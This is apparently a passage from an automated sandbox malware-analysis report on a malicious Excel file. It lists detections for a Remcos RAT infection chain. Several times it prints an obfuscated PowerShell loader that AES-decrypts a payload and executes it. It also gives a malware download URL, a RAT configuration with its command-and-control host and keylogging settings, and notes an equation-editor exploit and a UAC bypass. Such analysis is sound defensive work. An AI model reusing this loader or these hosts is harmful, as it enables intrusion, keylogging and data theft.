Hk3LvIWcMIenJWqnjfen61s15Yu2EdgjIt9Mn3N8vSlm2edKYHvSDcmrf7Gu/P8wb6OKnXNHosYcBbbFwXBRtzLtR07JaIq87PiGQKXkLtiP+St5jLN1RKHuViNAKANGwfM28rb84mkuqGiXByiubZnTAtp97cvhahwn4PXpi1Kez7/kbaDDKXCvVKN3TK4hLXC8Ot+rpc8CCzkwpZACGoSzxk3WPrLHnyjTQ6zn0qE6SrOQCIe3FfGGvicERREowxQvbpIw9uSzA17OsC636M5zXSToQgHiyAkm/dDk+wHfmDJGIsVE2wRGDtoq0Qt+tGgtB9Bi3fKJGvPBCuWm1jPuHv/LpyDiDNqEldTLSKZiQIIVm6lT/bYy7Al9K4rBqB6iJEpuxyHndJU46lXfgraSgD2XgA6ahTGriaCII6EAxgJSunErp5iVOk6tfQCtMutwbB720ZK5BpUkQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion'
                Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
                Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI87355924191917571657221755980918CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIuNSTmXUI0HgFw3fdM1ERT/tun0uBDlOiQyHJlmXQIhnecjctgQ65PlKspfuRkCDRjEPH4Ihki2Ib6LDmK9phm3xXkeNi+fcKsxPwgqQcHOTbxmi5gehOXzdiLKULSMHsRGtrAT4hLirjCliJFHhPPoPAD8WrrNJOauPIbQ8LjKCbYXN79XvsHb07Yd11FEz/xBrM4eb0d6oDjgTxHYLrzF6J4EfbA9GRGmdc4tkwy2zlMYr0bFEZ+TXcIkX6MoawoDSDQCJz8W7GBp0wX7cDBpIBhIxab4r+prVGaCCG+0+3uEp7n/keTDVANuLUjK7WM0vFCbyd/wVRtzF4youZwmOc3oaCF/JrShl+say08x0QppsCNvWz86ojjUOePGJsv67aspbPc+MT7ExHDG3Nzcev9OvNfYyq2MjA+OyHp/F7vijb0t7gbDYnwMe4HIfBgRkZkghh0vLgZbfSOZQmmNYaTrwwNG1StWUKeon1TmwO+GG02RY5xYL9dVsfOHoro3YjN0N+knyfSiTSLd8VpRGssVO3vdtrX83PC61AEKuwGmOKozlk3nzEbypC+P8jH/rC5lWjA5zr77TSv/3mL20F7OS9KdMcYBjEGjeQBi2Go74vJ2WeLC1Ow7MmkVoHZMjPL4LBdcCDe3+RcMbiLQBYCalcm5AUNss21ha2+mb9sY0foP8Ez4UEfMsUX1rlQ2L4c8NimJOaGijgqysi/8/4pvNnD/sDhqf9Jv/RJy+DJdtvGCjd3eg+777E0i3Zy2WWu4edO5corcrRaO0QH5KUcez0fY+pfnv3ycP5Njlg3ee0PHZw6sMPAER25mwo6SdwnN/dBC6KJXCNuDMBO0NSgE1NaaMlVsvxYB09SoTLfOQfkI1HTVgxNTWGoMCwSo9fQJZ6v2G6lGAw0fSjKOC9ekynuz2I6aDEVQhjeBtb0xHr2FEqYELQ/pZpkSkEkGIt2Hk3LvIWcMIenJWqnjfen61s15Yu2EdgjIt9Mn3N8vSlm2edKYHvSDcmrf7Gu/P8wb6OKnXNHosYcBbbFwXBRtzLtR07JaIq87PiGQKXkLtiP+St5jLN1RKHuViNAKANGwfM28rb84mkuqGiXByiubZnTAtp97cvhahwn4PXpi1Kez7/kbaDDKXCvVKN3TK4hLXC8Ot+rpc8CCzkwpZACGoSzxk3WPrLHnyjTQ6zn0qE6SrOQCIe3FfGGvicERREowxQvbpIw9uSzA17OsC636M5zXSToQgHiyAkm/dDk+wHfmDJGIsVE2wRGDtoq0Qt+tGgtB9Bi3fKJGvPBCuWm1jPuHv/LpyDiDNqEldTLSKZiQIIVm6lT/bYy7Al9K4rBqB6iJEpuxyHndJU46lXfgraSgD2XgA6ahTGriaCII6EAxgJSunErp5iVOk6tfQCtMutwbB720ZK5BpUkQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion'
                Sigma detected: Suspicious Microsoft Office Child Process
                Source: Process startedAuthor: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\weseethesimplethingsalwaystog.vBS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\weseethesimplethingsalwaystog.vBS" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 1404, ParentProcessName: EXCEL.EXE, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\weseethesimplethingsalwaystog.vBS" , ProcessId: 3124, ProcessName: wscript.exe
                Sigma detected: WScript or CScript Dropper
                Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\weseethesimplethingsalwaystog.vBS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\weseethesimplethingsalwaystog.vBS" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 1404, ParentProcessName: EXCEL.EXE, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\weseethesimplethingsalwaystog.vBS" , ProcessId: 3124, ProcessName: wscript.exe
                Sigma detected: Excel Network Connections
                Source: Network ConnectionAuthor: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0", Tim Shelton: Data: DestinationIp: 188.114.97.3, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, Initiated: true, ProcessId: 1404, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49161
                Sigma detected: Suspicious Office Outbound Connections
                Source: Network ConnectionAuthor: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49161, EventID: 3, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, Initiated: true, ProcessId: 1404, Protocol: tcp, SourceIp: 188.114.97.3, SourceIsIpv6: false, SourcePort: 80
                Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
                Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\weseethesimplethingsalwaystog.vBS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\weseethesimplethingsalwaystog.vBS" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 1404, ParentProcessName: EXCEL.EXE, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\weseethesimplethingsalwaystog.vBS" , ProcessId: 3124, ProcessName: wscript.exe
                Sigma detected: Modification of IE Registry Settings
                Source: Registry Key setAuthor: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ProcessId: 1404, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings
                Sigma detected: Non Interactive PowerShell Process Spawned
                Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI87355924191917571657221755980918CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIuNSTmXUI0HgFw3fdM1ERT/tun0uBDlOiQyHJlmXQIhnecjctgQ65PlKspfuRkCDRjEPH4Ihki2Ib6LDmK9phm3xXkeNi+fcKsxPwgqQcHOTbxmi5gehOXzdiLKULSMHsRGtrAT4hLirjCliJFHhPPoPAD8WrrNJOauPIbQ8LjKCbYXN79XvsHb07Yd11FEz/xBrM4eb0d6oDjgTxHYLrzF6J4EfbA9GRGmdc4tkwy2zlMYr0bFEZ+TXcIkX6MoawoDSDQCJz8W7GBp0wX7cDBpIBhIxab4r+prVGaCCG+0+3uEp7n/keTDVANuLUjK7WM0vFCbyd/wVRtzF4youZwmOc3oaCF/JrShl+say08x0QppsCNvWz86ojjUOePGJsv67aspbPc+MT7ExHDG3Nzcev9OvNfYyq2MjA+OyHp/F7vijb0t7gbDYnwMe4HIfBgRkZkghh0vLgZbfSOZQmmNYaTrwwNG1StWUKeon1TmwO+GG02RY5xYL9dVsfOHoro3YjN0N+knyfSiTSLd8VpRGssVO3vdtrX83PC61AEKuwGmOKozlk3nzEbypC+P8jH/rC5lWjA5zr77TSv/3mL20F7OS9KdMcYBjEGjeQBi2Go74vJ2WeLC1Ow7MmkVoHZMjPL4LBdcCDe3+RcMbiLQBYCalcm5AUNss21ha2+mb9sY0foP8Ez4UEfMsUX1rlQ2L4c8NimJOaGijgqysi/8/4pvNnD/sDhqf9Jv/RJy+DJdtvGCjd3eg+777E0i3Zy2WWu4edO5corcrRaO0QH5KUcez0fY+pfnv3ycP5Njlg3ee0PHZw6sMPAER25mwo6SdwnN/dBC6KJXCNuDMBO0NSgE1NaaMlVsvxYB09SoTLfOQfkI1HTVgxNTWGoMCwSo9fQJZ6v2G6lGAw0fSjKOC9ekynuz2I6aDEVQhjeBtb0xHr2FEqYELQ/pZpkSkEkGIt2Hk3LvIWcMIenJWqnjfen61s15Yu2EdgjIt9Mn3N8vSlm2edKYHvSDcmrf7Gu/P8wb6OKnXNHosYcBbbFwXBRtzLtR07JaIq87PiGQKXkLtiP+St5jLN1RKHuViNAKANGwfM28rb84mkuqGiXByiubZnTAtp97cvhahwn4PXpi1Kez7/kbaDDKXCvVKN3TK4hLXC8Ot+rpc8CCzkwpZACGoSzxk3WPrLHnyjTQ6zn0qE6SrOQCIe3FfGGvicERREowxQvbpIw9uSzA17OsC636M5zXSToQgHiyAkm/dDk+wHfmDJGIsVE2wRGDtoq0Qt+tGgtB9Bi3fKJGvPBCuWm1jPuHv/LpyDiDNqEldTLSKZiQIIVm6lT/bYy7Al9K4rBqB6iJEpuxyHndJU46lXfgraSgD2XgA6ahTGriaCII6EAxgJSunErp5iVOk6tfQCtMutwbB720ZK5BpUkQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion'
                Sigma detected: Office Macro File Creation
                Source: File createdAuthor: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE, ProcessId: 1400, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm
                Sigma detected: Potential Encoded PowerShell Patterns In CommandLine
                Source: Process startedAuthor: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI87355924191917571657221755980918CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIuNSTmXUI0HgFw3fdM1ERT/tun0uBDlOiQyHJlmXQIhnecjctgQ65PlKspfuRkCDRjEPH4Ihki2Ib6LDmK9phm3xXkeNi+fcKsxPwgqQcHOTbxmi5gehOXzdiLKULSMHsRGtrAT4hLirjCliJFHhPPoPAD8WrrNJOauPIbQ8LjKCbYXN79XvsHb07Yd11FEz/xBrM4eb0d6oDjgTxHYLrzF6J4EfbA9GRGmdc4tkwy2zlMYr0bFEZ+TXcIkX6MoawoDSDQCJz8W7GBp0wX7cDBpIBhIxab4r+prVGaCCG+0+3uEp7n/keTDVANuLUjK7WM0vFCbyd/wVRtzF4youZwmOc3oaCF/JrShl+say08x0QppsCNvWz86ojjUOePGJsv67aspbPc+MT7ExHDG3Nzcev9OvNfYyq2MjA+OyHp/F7vijb0t7gbDYnwMe4HIfBgRkZkghh0vLgZbfSOZQmmNYaTrwwNG1StWUKeon1TmwO+GG02RY5xYL9dVsfOHoro3YjN0N+knyfSiTSLd8VpRGssVO3vdtrX83PC61AEKuwGmOKozlk3nzEbypC+P8jH/rC5lWjA5zr77TSv/3mL20F7OS9KdMcYBjEGjeQBi2Go74vJ2WeLC1Ow7MmkVoHZMjPL4LBdcCDe3+RcMbiLQBYCalcm5AUNss21ha2+mb9sY0foP8Ez4UEfMsUX1rlQ2L4c8NimJOaGijgqysi/8/4pvNnD/sDhqf9Jv/RJy+DJdtvGCjd3eg+777E0i3Zy2WWu4edO5corcrRaO0QH5KUcez0fY+pfnv3ycP5Njlg3ee0PHZw6sMPAER25mwo6SdwnN/dBC6KJXCNuDMBO0NSgE1NaaMlVsvxYB09SoTLfOQfkI1HTVgxNTWGoMCwSo9fQJZ6v2G6lGAw0fSjKOC9ekynuz2I6aDEVQhjeBtb0xHr2FEqYELQ/pZpkSkEkGIt2Hk3LvIWcMIenJWqnjfen61s15Yu2EdgjIt9Mn3N8vSlm2edKYHvSDcmrf7Gu/P8wb6OKnXNHosYcBbbFwXBRtzLtR07JaIq87PiGQKXkLtiP+St5jLN1RKHuViNAKANGwfM28rb84mkuqGiXByiubZnTAtp97cvhahwn4PXpi1Kez7/kbaDDKXCvVKN3TK4hLXC8Ot+rpc8CCzkwpZACGoSzxk3WPrLHnyjTQ6zn0qE6SrOQCIe3FfGGvicERREowxQvbpIw9uSzA17OsC636M5zXSToQgHiyAkm/dDk+wHfmDJGIsVE2wRGDtoq0Qt+tGgtB9Bi3fKJGvPBCuWm1jPuHv/LpyDiDNqEldTLSKZiQIIVm6lT/bYy7Al9K4rBqB6iJEpuxyHndJU46lXfgraSgD2XgA6ahTGriaCII6EAxgJSunErp5iVOk6tfQCtMutwbB720ZK5BpUkQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion'
                Sigma detected: PowerShell Script Dropped Via PowerShell.EXE
                Source: File createdAuthor: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3168, TargetFilename: C:\Users\user\AppData\Local\Temp\4vv2ls5v.2cs.ps1

                Stealing of Sensitive Information

                barindex
                Sigma detected: Remcos
                Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, ProcessId: 3320, TargetFilename: C:\ProgramData\remcos\logs.dat

                Snort Signatures

                ⊘No Snort rule has matched

                Suricata Signatures

                Timestamp:2024-07-29T15:22:37.719956+0200
                SID:2803304
                Source Port:49170
                Destination Port:80
                Protocol:TCP
                Classtype:Unknown Traffic
                Timestamp:2024-07-29T15:22:31.240845+0200
                SID:2049038
                Source Port:80
                Destination Port:49167
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:2024-07-29T15:22:32.420890+0200
                SID:2020424
                Source Port:80
                Destination Port:49168
                Protocol:TCP
                Classtype:Exploit Kit Activity Detected
                Timestamp:2024-07-29T15:22:30.143741+0200
                SID:2047750
                Source Port:80
                Destination Port:49167
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:2024-07-29T15:22:34.411012+0200
                SID:2036594
                Source Port:49169
                Destination Port:6426
                Protocol:TCP
                Classtype:Malware Command and Control Activity Detected

                Joe Sandbox Signatures

                Click to jump to signature section

                Show All Signature Results

                AV Detection

                barindex
                Antivirus detection for URL or domain
                Source: http://198.46.176.133/Upload/vbs.jpegAvira URL Cloud: Label: malware
                Antivirus detection for dropped file
                Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{EA49B3DA-E221-4150-A1B5-E49DC6EB42DE}.tmpAvira: detection malicious, Label: EXP/CVE-2017-11882.Gen
                Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3B5C3D2B.docAvira: detection malicious, Label: HEUR/Rtf.Malformed
                Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\seethedrinkingwatereverythweretoundesandhowmuchgreatrainingisgoingeverywerenobodyunderstandthegreat_______newgirlfrndsheismygirl[1].docAvira: detection malicious, Label: HEUR/Rtf.Malformed
                Found malware configuration
                Source: 0000000C.00000002.1049251822.0000000000501000.00000004.00000020.00020000.00000000.sdmpMalware Configuration Extractor: Remcos {"Host:Port:Password": "tochisglobal.ddns.net:6426:1", "Assigned name": "benchao", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-9R4HLX", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}
                Multi AV Scanner detection for submitted file
                Source: PI-002312.xlsReversingLabs: Detection: 21%
                Yara detected Remcos RAT
                Source: Yara matchFile source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 10.2.powershell.exe.3e07e48.1.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 10.2.powershell.exe.3569a80.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 10.2.powershell.exe.3e07e48.1.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0000000C.00000002.1049251822.000000000053C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000C.00000002.1049706857.000000000226E000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000C.00000002.1049251822.00000000004E5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000C.00000002.1049251822.0000000000501000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000A.00000002.456553526.00000000039A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3168, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 3320, type: MEMORYSTR
                Source: Yara matchFile source: C:\ProgramData\remcos\logs.dat, type: DROPPED
                Machine Learning detection for sample
                Source: PI-002312.xlsJoe Sandbox ML: detected
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00433837 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,12_2_00433837
                Source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: -----BEGIN PUBLIC KEY-----memstr_e5d67eda-2

                Exploits

                barindex
                Yara detected UAC Bypass using CMSTP
                Source: Yara matchFile source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 10.2.powershell.exe.3e07e48.1.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 10.2.powershell.exe.3569a80.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 10.2.powershell.exe.3e07e48.1.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000A.00000002.456553526.00000000039A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3168, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 3320, type: MEMORYSTR
                Office equation editor establishes network connection
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXENetwork connect: IP: unknown Port: 80Jump to behavior
                Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Windows\SysWOW64\wscript.exeJump to behavior
                Source: ~WRF{EA49B3DA-E221-4150-A1B5-E49DC6EB42DE}.tmp.4.drStream path '_1783750096/\x1CompObj' : ...................F....Microsoft Equation 3.0....
                Source: ~WRF{EA49B3DA-E221-4150-A1B5-E49DC6EB42DE}.tmp.4.drStream path '_1783750100/\x1CompObj' : ...................F....Microsoft Equation 3.0....
                Source: ~WRF{EA49B3DA-E221-4150-A1B5-E49DC6EB42DE}.tmp.4.drStream path '_1783750123/\x1CompObj' : ...................F....Microsoft Equation 3.0....
                Source: ~WRF{EA49B3DA-E221-4150-A1B5-E49DC6EB42DE}.tmp.4.drStream path '_1783750124/\x1CompObj' : ...................F....Microsoft Equation 3.0....
                Source: ~WRF{EA49B3DA-E221-4150-A1B5-E49DC6EB42DE}.tmp.4.drStream path '_1783750127/\x1CompObj' : ...................F....Microsoft Equation 3.0....
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

                Privilege Escalation

                barindex
                Contains functionality to bypass UAC (CMSTPLUA)
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_004074FD _wcslen,CoGetObject,12_2_004074FD
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
